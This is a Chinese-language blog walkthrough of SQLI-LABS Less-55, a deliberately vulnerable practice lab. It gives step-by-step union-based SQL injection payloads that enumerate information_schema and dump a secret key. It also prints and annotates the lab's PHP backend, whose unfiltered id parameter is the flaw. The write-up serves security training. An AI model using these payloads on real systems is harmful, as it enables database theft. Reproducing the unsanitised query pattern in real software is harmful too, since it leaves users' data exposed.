关注这个靶场的其它相关笔记：SQLI LABS ------ 靶场笔记合集-CSDN博客
0x01：过关流程
输入下面的链接进入靶场（如果你的地址和我不一样，按照你本地的环境来）：
http://localhost/sqli-labs/Less-55/
在开始过关前，先了解一下本关的挑战目标：我们需要在少于 14 次尝试中，从 CHALLENGES 数据库中读取密钥并提交。右上角有个重置按钮，每次重置挑战都会生成随机的表名、列名和表数据。
先来测注入点吧，靶场提示传入 GET 型参数 ID 给后端，以下是笔者的尝试：
sql
Test 01 : ?id=1 Result Key Word: Dumb & Dumb
Test 02 : ?id=2-1 Result Key Word: Dumb & Dumb
通过以上两条测试语句，我们可以基本推测出该注入点是数字型注入点，其后端的 SQL 模板如下：
sql
select * from users where id=$_GET["id"];而且又由于其是存在回显点的，所以接下来，我们尝试去推测其回显字段数（其能回显 name 与 password，证明其至少返回了两个字段）：
sql
Test 03 : ?id=1 order by 3 --+ Result Key Word: 空
Test 04 : ?id=1 order by 2 --+ Result Key Word: 空如上，当我们传入 Test 04 时，其返回结果与我们预想的不对。我们猜测其后端起码返回了 2 个值，但是它 order by 2 的结果也为空。
出现上面结果的可能性只有一条，俺们推测出了错误的 SQL 模板。经过修改后的 SQL 模板如下（数字型注入它的模板本来就不多）：
sql
select * from users where id=($_GET["id"]);所以我们新的测试 Payload 如下：
sql
Test 05 : ?id=1) order by 2 --+ Result Key Word: Dumb & Dumb
Test 06 : ?id=1) order by 3 --+ Result Key Word: Dumb & Dumb
Test 07 : ?id=1) order by 4 --+ Result Key Word: 空如上，当我们传入 Test 07 Payload 时，页面返回为空，证明其从后端数据库只查询了三个值。那么接下来，我们就该去测试这三个值的回显点了，测试 Payload 如下：
sql
Test 08 : ?id=0) union select 1,2,3 --+
Result Key Word : 2 & 3
如上，成功 GET 回显点 2 号位和 3 号位。现在我们需要利用 6 次查询来拿到密钥，先理一下思路：
sql
密钥存放数据库名: CHALLENGES
获取密钥我们还需要知道: CHALLENGES 数据表名、CHALLENGES 数据表字段名
获取 CHALLENGES 数据表名:
select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES';
获取 CHALLENGES 数据表字段名:
select group_concat(column_name) from information_schema.columns where table_schema='CHALLENGES' and table_name='<table_name>';
能不能结合一下: 直接让其回显数据表对应的字段名？
select group_concat(concat(table_name,':',column_name)) from information_schema.columns where table_schema='CHALLENGES';利用上面的思路，我们使用 Payload 9 尝试直接获取数据表名及其字段名：
sql
Test 09 : ?id=0) union select 1,(select group_concat(concat(table_name,':',column_name)) from information_schema.columns where table_schema='CHALLENGES'),3 --+
Result Key Word : etbkpnt6v3:id,etbkpnt6v3:sessid,etbkpnt6v3:secret_6XI9,etbkpnt6v3:tryy
整合一下回显的信息，我们可以发现，CHALLENGES 数据库结构大致如下（这里需要注意，使用上面的 Payload 有可能会由于获取字段长度过长而导致回显不完全的问题，不过在这个靶场里倒没有这种情况）：
sql
CHALLENGES(数据库)
=> etbkpnt6v3(数据表)
=> id
=> sessid
=> secret_6XI9
=> tryy盲猜密钥就在 secret_6XI9 里藏着了。接下来，我们构造 Payload 获取密钥：
sql
Test 10 : ?id=0) union select 1,(select group_concat(concat(sessid,':',secret_6XI9,':',tryy)) from CHALLENGES.etbkpnt6v3),3 --+
Result Key Word : 656c8f81486b1e4fe59bf39ce9ff7b33:r1gqMNwoaefvRkvKx63LxX5i:10
如上，成功 GET 密钥信息（也就是 secret_6XI9 字段），接下来，我们提交密钥，成功过关：
0x02：源码分析
下面是 SQLI LABS Less-55 GET-Challenge-Union-14 Queries Allowed-Variation 2 后端的部分源码，以及笔者做的笔记（省略了部分无关紧要的内容）：
php
$times= 14; // 这个应该就是试错的次数
$table => 从数据库中获取存放密钥的数据表名
$col => 从数据库中获取存放密钥的数据表的第一列列名(sessid)
$col1 => 从数据库中获取存放密钥的数据表的第二列列名（secret_xxxx)
// 如果没有提交密钥，就进入下面的流程, 你尝试注入走的流程
if (!isset($_POST['answer_key'])) {
if (isset($_POST['reset'])) {
// 这里面是重置挑战的逻辑，如果你点了重置挑战按钮的话
} else {
// 获取标识你身份的 Cookie 值，如果没有就给你设置一个
if (isset($_COOKIE['challenge'])) {
// 有就获取 challenge 字段
$sessid=$_COOKIE['challenge'];
} else {
// 没有就给你设置一个 Challenge Cookie
}
// 获取客户端传递的变量
if (isset($_GET['id'])) {
$id=$_GET['id'];
// 更新数据库中记录你尝试次数的计数器。
next_tryy();
// 显示你尝试的次数
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
// 如果你尝试的次数大于 $times + 1，就给你重置挑战
if ($tryyy >= ($times + 1)) {
// 以下是重置挑战的逻辑
}
// 如下是后端的 SQL 模板，由于未进行任何过滤，导致存在 SQL 注入漏洞
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
} else {
echo '<font color= "#FFFF00">';
// print_r(mysqli_error($con1));
echo "</font>";
}
}